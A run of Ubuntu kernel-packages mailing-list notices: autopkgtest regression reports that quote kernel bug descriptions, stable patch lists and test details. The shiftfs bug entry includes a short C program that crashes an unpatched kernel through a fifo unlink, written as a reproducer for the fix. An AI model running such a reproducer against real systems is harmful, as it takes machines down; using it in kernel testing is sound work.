thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) force-fb(V) show-blocked-tasks(w) dump-ftrace-buffer(z) [Regression Potential] Some users may see a usability regression due to the Lockdown lift sysrq combination being removed. Some users are known to disable lockdown, using the sysrq combination, in order to perform some "dangerous" operation such as writing to an MSR. It is believed that this is a small number of users but it is impossible to know for sure. Users that rely on this functionality may need to permanently disable secure boot using 'mokutil --disable-validation'. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1861238/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1862059] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1862059 Title: Disco update: upstream stable patchset 2020-02-05 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2020-02-05 Ported from the following upstream stable releases: v4.19.96, v5.4.12, v4.19.97, v5.4.13 from git://git.kernel.org/ chardev: Avoid potential use-after-free in 'chrdev_open()' i2c: fix bus recovery stop mode timing usb: chipidea: host: Disable port power only if previously enabled ALSA: usb-audio: Apply the sample rate quirk for Bose Companion 5 ALSA: hda/realtek - Add new codec supported for ALCS1200A ALSA: hda/realtek - Set EAPD control to default for ALC222 ALSA: hda/realtek - Add quirk for the bass speaker on Lenovo Yoga X1 7th gen kernel/trace: Fix do not unregister tracepoints when register sched_migrate_task fail tracing: Have stack tracer compile when MCOUNT_INSN_SIZE is not defined tracing: Change offset type to s32 in preempt/irq tracepoints HID: Fix slab-out-of-bounds read in hid_field_extract HID: uhid: Fix returning EPOLLOUT from uhid_char_poll HID: hid-input: clear unmapped usages Input: add safety guards to input_set_keycode() Input: input_event - fix struct padding on sparc64 drm/sun4i: tcon: Set RGB DCLK min. divider based on hardware model drm/fb-helper: Round up bits_per_pixel if possible drm/dp_mst: correct the shifting in DP_REMOTE_I2C_READ can: kvaser_usb: fix interface sanity check can: gs_usb: gs_usb_probe(): use descriptors of current altsetting can: mscan: mscan_rx_poll(): fix rx path lockup when returning from polling to irq mode can: can_dropped_invalid_skb(): ensure an initialized headroom in outgoing CAN sk_buffs gpiolib: acpi: Turn dmi_system_id table into a generic quirk table gpiolib: acpi: Add honor_wakeup module-option + quirk mechanism staging: vt6656: set usb_set_intfdata on driver fail. USB: serial: option: add ZLP support for 0x1bc7/0x9010 usb: musb: fix idling for suspend after disconnect interrupt usb: musb: Disable pullup at init usb: musb: dma: Correct parameter passed to IRQ handler staging: comedi: adv_pci1710: fix AI channels 16-31 for PCI-1713 staging: rtl8188eu: Add device code for TP-Link TL-WN727N v5.21 serdev: Don't claim unsupported ACPI serial devices tty: link tty and port before configuring it as console tty: always relink the port mwifiex: pcie: Fix memory leak in mwifiex_pcie_alloc_cmdrsp_buf scsi: bfa: release allocated memory in case of error rtl8xxxu: prevent leaking urb HID: hiddev: fix mess in hiddev_open() USB: Fix: Don't skip endpoint descriptors with maxpacket=0 phy: cpcap-usb: Fix error path when no host driver is loaded phy: cpcap-usb: Fix flakey host idling and enumerating of devices netfilter: arp_tables: init netns pointer in xt_tgchk_param struct netfilter: conntrack: dccp, sctp: handle null timeout argument netfilter: ipset: avoid null deref when IPSET_ATTR_LINENO is present tpm: Handle negative priv->response_len in tpm_common_read() pstore/ram: Regularize prz label allocation lifetime USB-PD tcpm: bad warning+size, PPS adapters staging: vt6656: correct return of vnt_init_registers. staging: vt6656: limit reg output to block size arm64: Implement copy_thread_tls arm: Implement copy_thread_tls parisc: Implement copy_thread_tls riscv: Implement copy_thread_tls xtensa: Implement copy_thread_tls um: Implement copy_thread_tls staging: vt6656: remove bool from vnt_radio_power_on ret rpmsg: char: release allocated memory UBUNTU: upstream stable to v4.19.96, v5.4.12 hidraw: Return EPOLLOUT from hidraw_poll HID: hidraw: Fix retur
[Kernel-packages] [Bug 1862114] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1862114 Title: pty03 from pty in ubuntu_ltp failed on Eoan Status in ubuntu-kernel-tests: In Progress Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: == Justification == The test case pty03 from pty in ubuntu_ltp is failing with kernel NULL pointer dereference: [ 951.306823] BUG: kernel NULL pointer dereference, address: 0020 [ 951.309960] #PF: supervisor write access in kernel mode [ 951.312130] #PF: error_code(0x0002) - not-present page [ 951.314227] PGD 0 P4D 0 [ 951.315278] Oops: 0002 [#1] SMP PTI [ 951.316705] CPU: 1 PID: 39102 Comm: pty03 Not tainted 5.4.0-12-generic #15-Ubuntu [ 951.319737] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 951.322713] RIP: 0010:queue_work_on+0x1b/0x50 [ 951.352494] Call Trace: [ 951.353244] slip_write_wakeup+0x25/0x30 [slip] [ 951.354600] tty_wakeup+0x5b/0x70 [ 951.355539] pty_unthrottle+0x19/0x30 [ 951.356560] tty_unthrottle+0x42/0x60 [ 951.357566] __tty_perform_flush+0x87/0x90 [ 951.358768] n_tty_ioctl_helper+0xcc/0x150 [ 951.359955] n_tty_ioctl+0x2d/0x100 [ 951.360930] tty_ioctl+0x3c0/0x8e0 [ 951.361882] ? __switch_to_asm+0x34/0x70 [ 951.363049] ? __switch_to_asm+0x40/0x70 [ 951.364191] ? __switch_to_asm+0x34/0x70 [ 951.365261] ? __switch_to_asm+0x40/0x70 [ 951.366382] ? __switch_to_asm+0x34/0x70 [ 951.367452] ? __switch_to_asm+0x40/0x70 [ 951.368523] ? __switch_to_asm+0x34/0x70 [ 951.369693] ? __switch_to_asm+0x40/0x70 [ 951.370829] ? __switch_to_asm+0x34/0x70 [ 951.371923] ? __switch_to_asm+0x40/0x70 [ 951.372998] ? __switch_to_asm+0x34/0x70 [ 951.374097] ? __switch_to_asm+0x40/0x70 [ 951.375183] ? __switch_to_asm+0x34/0x70 [ 951.376288] ? __switch_to_asm+0x40/0x70 [ 951.377390] ? __switch_to+0x110/0x470 [ 951.378863] do_vfs_ioctl+0x407/0x670 [ 951.380269] ? __schedule+0x2eb/0x740 [ 951.381761] ksys_ioctl+0x67/0x90 [ 951.383076] __x64_sys_ioctl+0x1a/0x20 [ 951.384510] do_syscall_64+0x57/0x190 [ 951.385896] entry_SYSCALL_64_after_hwframe+0x44/0xa9 == Fixes == Indicated by the test case, this issue can be fixed by: * 0ace17d5 (can, slip: Protect tty->disc_data in write_wakeup and close with RCU) This patch can be cherry-picked into all of our kernels. == Test == Test kernels could be found here: https://people.canonical.com/~phlin/kernel/lp-1862114-pty03/ Tested on KVM nodes and the patched kernels work as expected, there will be no more kernel null pointer dereference issue, and the test can finish properly. == Regression potential == Low, changes limited to two specific drivers for serial line TTY. This issue can be reproduced quite easily and the patched kernels show positive results. == Original Bug Report == startup='Thu Feb 6 02:45:23 2020' tst_test.c:1215: INFO: Timeout per run is 0h 05m 00s pty03.c:101: INFO: Creating PTY with SLIP line discipline Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Cannot kill test processes! Congratulation, likely test hit a kernel bug. Exitting uncleanly... tag=pty03 stime=1580957123 dur=350 exit=exited stat=1 core=no cu=0 cs=0 This is a new test case, so it's not a regression. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1862114/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1860657] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1860657 Title: Prevent arm64 guest from accessing host debug registers Status in linux package in Ubuntu: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Status in linux source package in Focal: Fix Committed Bug description: [Impact] Guests could access host debug/PMU registers. This could happen very briefly before they are first preempted. This only affects arm64 CPUs that support virtualization. [Regression potential] This could break virtualization or guest access to PMU registers. [Test case] A guest has been run with a host with the patched kernel. perf top has been run on the guest. Using uvtool: host$ sudo apt install uvtool qemu-efi-aarch64 host$ uvt-kvm create test release=eoan arch=arm64 host$ uvt-kvm ssh test guest$ sudo perf top To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1860657/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1862418] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1862418 Title: Disco update: upstream stable patchset 2020-02-07 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2020-02-07 Ported from the following upstream stable releases: v4.19.98, v5.4.14 from git://git.kernel.org/ ARM: dts: meson8: fix the size of the PMU registers clk: qcom: gcc-sdm845: Add missing flag to votable GDSCs dt-bindings: reset: meson8b: fix duplicate reset IDs ARM: dts: imx6q-dhcom: fix rtc compatible clk: Don't try to enable critical clocks if prepare failed ASoC: msm8916-wcd-digital: Reset RX interpolation path after use iio: buffer: align the size of scan bytes to size of the largest element USB: serial: simple: Add Motorola Solutions TETRA MTP3xxx and MTP85xx USB: serial: option: Add support for Quectel RM500Q USB: serial: opticon: fix control-message timeouts USB: serial: option: add support for Quectel RM500Q in QDL mode USB: serial: suppress driver bind attributes USB: serial: ch341: handle unbound port at reset_resume USB: serial: io_edgeport: handle unbound ports on URB completion USB: serial: io_edgeport: add missing active-port sanity check USB: serial: keyspan: handle unbound ports USB: serial: quatech2: handle unbound ports scsi: fnic: fix invalid stack access scsi: mptfusion: Fix double fetch bug in ioctl ASoC: msm8916-wcd-analog: Fix selected events for MIC BIAS External1 ASoC: msm8916-wcd-analog: Fix MIC BIAS Internal1 ARM: dts: imx6q-dhcom: Fix SGTL5000 VDDIO regulator connection ALSA: dice: fix fallback from protocol extension into limited functionality ALSA: seq: Fix racy access for queue timer in proc read ALSA: usb-audio: fix sync-ep altsetting sanity check arm64: dts: allwinner: a64: olinuxino: Fix SDIO supply regulator Fix built-in early-load Intel microcode alignment block: fix an integer overflow in logical block size ARM: dts: am571x-idk: Fix gpios property to have the correct gpio number ptrace: reintroduce usage of subjective credentials in ptrace_has_cap() usb: core: hub: Improved device recognition on remote wakeup x86/resctrl: Fix an imbalance in domain_remove_cpu() x86/CPU/AMD: Ensure clearing of SME/SEV features is maintained x86/efistub: Disable paging at mixed mode entry drm/i915: Add missing include file x86/resctrl: Fix potential memory leak perf hists: Fix variable name's inconsistency in hists__for_each() macro perf report: Fix incorrectly added dimensions as switch perf data file mm/shmem.c: thp, shmem: fix conflict of above-47bit hint address and PMD alignment mm: memcg/slab: call flush_memcg_workqueue() only if memcg workqueue is valid btrfs: rework arguments of btrfs_unlink_subvol btrfs: fix invalid removal of root ref btrfs: do not delete mismatched root refs btrfs: fix memory leak in qgroup accounting mm/page-writeback.c: avoid potential division by zero in wb_min_max_ratio() ARM: dts: imx6q-icore-mipi: Use 1.5 version of i.Core MX6DL ARM: dts: imx7: Fix Toradex Colibri iMX7S 256MB NAND flash support net: stmmac: 16KB buffer must be 16 byte aligned net: stmmac: Enable 16KB buffer size mm/huge_memory.c: make __thp_get_unmapped_area static mm/huge_memory.c: thp: fix conflict of above-47bit hint address and PMD alignment arm64: dts: agilex/stratix10: fix pmu interrupt numbers bpf: Fix incorrect verifier simulation of ARSH under ALU32 cfg80211: fix deadlocks in autodisconnect work cfg80211: fix memory leak in cfg80211_cqm_rssi_update cfg80211: fix page refcount issue in A-MSDU decap netfilter: fix a use-after-free in mtype_destroy() netfilter: arp_tables: init netns pointer in xt_tg
[Kernel-packages] [Bug 1849947] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1849947 Title: Dell XPS 13 (7390) Display Flickering - 19.10 Status in linux package in Ubuntu: In Progress Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Status in linux source package in Focal: In Progress Bug description: Hi there, I recently purchased a Dell XPS 13 7390 (Developer Edition). I decided to replace 18.4 LTS with 19.10 and so far it has been pretty smooth. However, there is one issue which occurs frequently whereby the display flickers and becomes unusable. The best way to describe the appearance is that the image becomes heavily distorted. Sometimes it only happens for a split second, other times it is permanently distorted. When this happens, simply closing the laptop lip and re-opening seems to put the display back into it's correct state. I didn't experience this issue on 18.04 LTS which is why I believe it's a Software Bug within 19.10. ProblemType: Bug DistroRelease: Ubuntu 19.10 Package: xorg 1:7.7+19ubuntu12 ProcVersionSignature: Ubuntu 5.3.0-19.20-generic 5.3.1 Uname: Linux 5.3.0-19-generic x86_64 ApportVersion: 2.20.11-0ubuntu8 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Oct 26 11:11:43 2019 DistUpgraded: Fresh install DistroCodename: eoan DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Device [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:0962] InstallationDate: Installed on 2019-10-25 (0 days ago) InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017) MachineType: Dell Inc. XPS 13 7390 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-19-generic root=/dev/mapper/vgubuntu-root ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/23/2019 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.1.3 dmi.board.name: 0G2D0W dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.1.3:bd08/23/2019:svnDellInc.:pnXPS137390:pvr:rvnDellInc.:rn0G2D0W:rvrA00:cvnDellInc.:ct10:cvr: dmi.product.family: XPS dmi.product.name: XPS 13 7390 dmi.product.sku: 0962 dmi.sys.vendor: Dell Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.99-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 19.2.1-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.5+git20191008-0ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.0.1-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20190815-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1849947/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1861918] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1861918 Title: Disco update: upstream stable patchset 2020-02-04 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2020-02-04 Ported from the following upstream stable releases: v4.19.95, v5.4.10, v5.4.11 from git://git.kernel.org/ USB: dummy-hcd: use usb_urb_dir_in instead of usb_pipein USB: dummy-hcd: increase max number of devices to 32 bpf: Fix passing modified ctx to ld/abs/ind instruction regulator: fix use after free issue ASoC: max98090: fix possible race conditions locking/spinlock/debug: Fix various data races netfilter: ctnetlink: netns exit must wait for callbacks libtraceevent: Fix lib installation with O= x86/efi: Update e820 with reserved EFI boot services data to fix kexec breakage ASoC: Intel: bytcr_rt5640: Update quirk for Teclast X89 efi/gop: Return EFI_NOT_FOUND if there are no usable GOPs efi/gop: Return EFI_SUCCESS if a usable GOP was found efi/gop: Fix memory leak in __gop_query32/64() ARM: dts: imx6ul: imx6ul-14x14-evk.dtsi: Fix SPI NOR probing ARM: vexpress: Set-up shared OPP table instead of individual for each CPU netfilter: uapi: Avoid undefined left-shift in xt_sctp.h netfilter: nft_set_rbtree: bogus lookup/get on consecutive elements in named sets netfilter: nf_tables: validate NFT_SET_ELEM_INTERVAL_END netfilter: nf_tables: validate NFT_DATA_VALUE after nft_data_init() ARM: dts: BCM5301X: Fix MDIO node address/size cells selftests/ftrace: Fix multiple kprobe testcase ARM: dts: Cygnus: Fix MDIO node address/size cells spi: spi-cavium-thunderx: Add missing pci_release_regions() ASoC: topology: Check return value for soc_tplg_pcm_create() ARM: dts: bcm283x: Fix critical trip point bpf, mips: Limit to 33 tail calls spi: spi-ti-qspi: Fix a bug when accessing non default CS ARM: dts: am437x-gp/epos-evm: fix panel compatible samples: bpf: Replace symbol compare of trace_event samples: bpf: fix syscall_tp due to unused syscall powerpc: Ensure that swiotlb buffer is allocated from low memory btrfs: Fix error messages in qgroup_rescan_init bpf: Clear skb->tstamp in bpf_redirect when necessary bnx2x: Do not handle requests from VFs after parity bnx2x: Fix logic to get total no. of PFs per engine cxgb4: Fix kernel panic while accessing sge_info net: usb: lan78xx: Fix error message format specifier parisc: add missing __init annotation rfkill: Fix incorrect check to avoid NULL pointer dereference ASoC: wm8962: fix lambda value regulator: rn5t618: fix module aliases iommu/iova: Init the struct iova to fix the possible memleak kconfig: don't crash on NULL expressions in expr_eq() perf/x86/intel: Fix PT PMI handling fs: avoid softlockups in s_inodes iterators net: stmmac: Do not accept invalid MTU values net: stmmac: xgmac: Clear previous RX buffer size net: stmmac: RX buffer size must be 16 byte aligned net: stmmac: Always arm TX Timer at end of transmission start s390/purgatory: do not build purgatory with kcov, kasan and friends drm/exynos: gsc: add missed component_del s390/dasd/cio: Interpret ccw_device_get_mdc return value correctly s390/dasd: fix memleak in path handling error case block: fix memleak when __blk_rq_map_user_iov() is failed parisc: Fix compiler warnings in debug_core.c llc2: Fix return statement of llc_stat_ev_rx_null_dsap_xid_c (and _test_c) hv_netvsc: Fix unwanted rx_table reset powerpc/vcpu: Assume dedicated processors as non-preempt powerpc/spinlocks: Include correct header for static key PCI/switchtec: Read all 64 bits of part_event_bitmap gtp: fix bad unlock balance in gtp_encap_enable_socket ma
[Kernel-packages] [Bug 1860041] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for
bionic have finished running.
The following regressions have been reported in tests triggered by the package:
fsprotect/unknown (armhf)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-bluefield
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1860041
Title:
shiftfs: prevent lower dentries from going negative during unlink
Status in linux package in Ubuntu:
Fix Committed
Status in linux source package in Disco:
Fix Committed
Status in linux source package in Eoan:
Fix Committed
Bug description:
SRU Justification
Impact: All non-special files (For shiftfs this only includes fifos
and - for this case - unix sockets - since we don't allow character
and block devices to be created.) go through shiftfs_open() and have
their dentry pinned through this codepath preventing it from going
negative. But fifos don't use the shiftfs fops but rather use the
pipefifo_fops which means they do not go through shiftfs_open() and
thus don't have their dentry pinned that way. Thus, the lower dentries
for such files can go negative on unlink causing segfaults. The
following C program can be used to reproduce the crash:
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
struct stat stat;
unlink("./bbb");
int ret = mknod("./bbb", S_IFIFO|0666, 0);
if (ret < 0)
exit(1);
int fd = open("./bbb", O_RDWR);
if (fd < 0)
exit(2);
if (unlink("./bbb"))
exit(4);
fstat(fd, &stat);
return 0;
}
Fix: Similar to ecryptfs we need to dget() the lower dentry before
calling vfs_unlink() on it and dput() it afterwards.
Regression Potential: Limited to shiftfs.
Test Case: Compiled a kernel with the fix and used the reproducer
above to verify that the kernel cannot be crashed anymore.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1860041/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1859754] Autopkgtest regression report (alsa-lib/1.1.9-0ubuntu1.2)
All autopkgtests for the newly accepted alsa-lib (1.1.9-0ubuntu1.2) for eoan have finished running. The following regressions have been reported in tests triggered by the package: openjdk-lts/unknown (i386) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/eoan/update_excuses.html#alsa-lib [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to alsa-lib in Ubuntu. https://bugs.launchpad.net/bugs/1859754 Title: add ucm to make alsa/sof driver work under PA (variants of Lenovo X1 Carbon 7th, Dell cnl and cml machines) Status in HWE Next: New Status in alsa-lib package in Ubuntu: Fix Committed Status in alsa-lib source package in Bionic: Fix Committed Status in alsa-lib source package in Eoan: Fix Committed Bug description: This ucm is only for Eoan and Bionic, for focal and future versions, we plan to integrate the ucm2 instead of this ucm, and the ucm2 depends on the alsa-lib-1.2.1 and pluseaudio-v14, the ucm2 is under developing by the community, is not ready yet. [Impact] In the oem project, we have a couple of Lenovo and Dell machines which connect the digital mic to PCH directly, this design needs the new sound driver soc/sof, and this driver can't work under pulseaudio automatically, we need to integrate the ucm for the driver, then the sof dirver could work under pulseaudio and gnome. This ucm is maintained by intel audio team, and it is not upstreamed and will not be upstreamed, since the community is developing the ucm2 which is based on at least alsa-lib-1.2.1 and pulseaudio-v14.0 (still under developing), for bionic and eoan, we have to integrate this ucm since the alsa-lib version is too low. For focal and future version, we are going to integrate the ucm2 after the ucm2 is ready. This ucm is already verified in the oem project, now it is time to put it into the stock ubuntu. [Fix] These ucm files are backported from sof_ucm1 branch of https://github.com/thesofproject/alsa-ucm-conf.git [Test Case] Boot the eoan kernel or oem-osp1-bionic kernel, then check the log of pulseaudio, the ucm files are loaded successfully, then check the gnome-sound-setting, both output and input devices work well. [Regression Risk] Low, just add some new ucm files, and this will not affect other machines, and those new added ucm files are only used by specific machines which enable the sof driver. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1859754/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1843622] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1843622 Title: Disco update: upstream stable patchset 2019-09-11 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2019-09-11 Ported from the following upstream stable releases: v4.19.70, v5.2.12 v4.19.71, v5.2.13 v4.19.72, v5.2.14 from git://git.kernel.org/ dmaengine: ste_dma40: fix unneeded variable warning nvme-multipath: revalidate nvme_ns_head gendisk in nvme_validate_ns afs: Fix the CB.ProbeUuid service handler to reply correctly afs: Fix loop index mixup in afs_deliver_vl_get_entry_by_name_u() fs: afs: Fix a possible null-pointer dereference in afs_put_read() afs: Only update d_fsdata if different in afs_d_revalidate() nvmet-loop: Flush nvme_delete_wq when removing the port nvme: fix a possible deadlock when passthru commands sent to a multipath device nvme-pci: Fix async probe remove race soundwire: cadence_master: fix register definition for SLAVE_STATE soundwire: cadence_master: fix definitions for INTSTAT0/1 auxdisplay: panel: need to delete scan_timer when misc_register fails in panel_attach dmaengine: stm32-mdma: Fix a possible null-pointer dereference in stm32_mdma_irq_handler() omap-dma/omap_vout_vrfb: fix off-by-one fi value iommu/dma: Handle SG length overflow better usb: gadget: composite: Clear "suspended" on reset/disconnect usb: gadget: mass_storage: Fix races between fsg_disable and fsg_set_alt xen/blkback: fix memory leaks arm64: cpufeature: 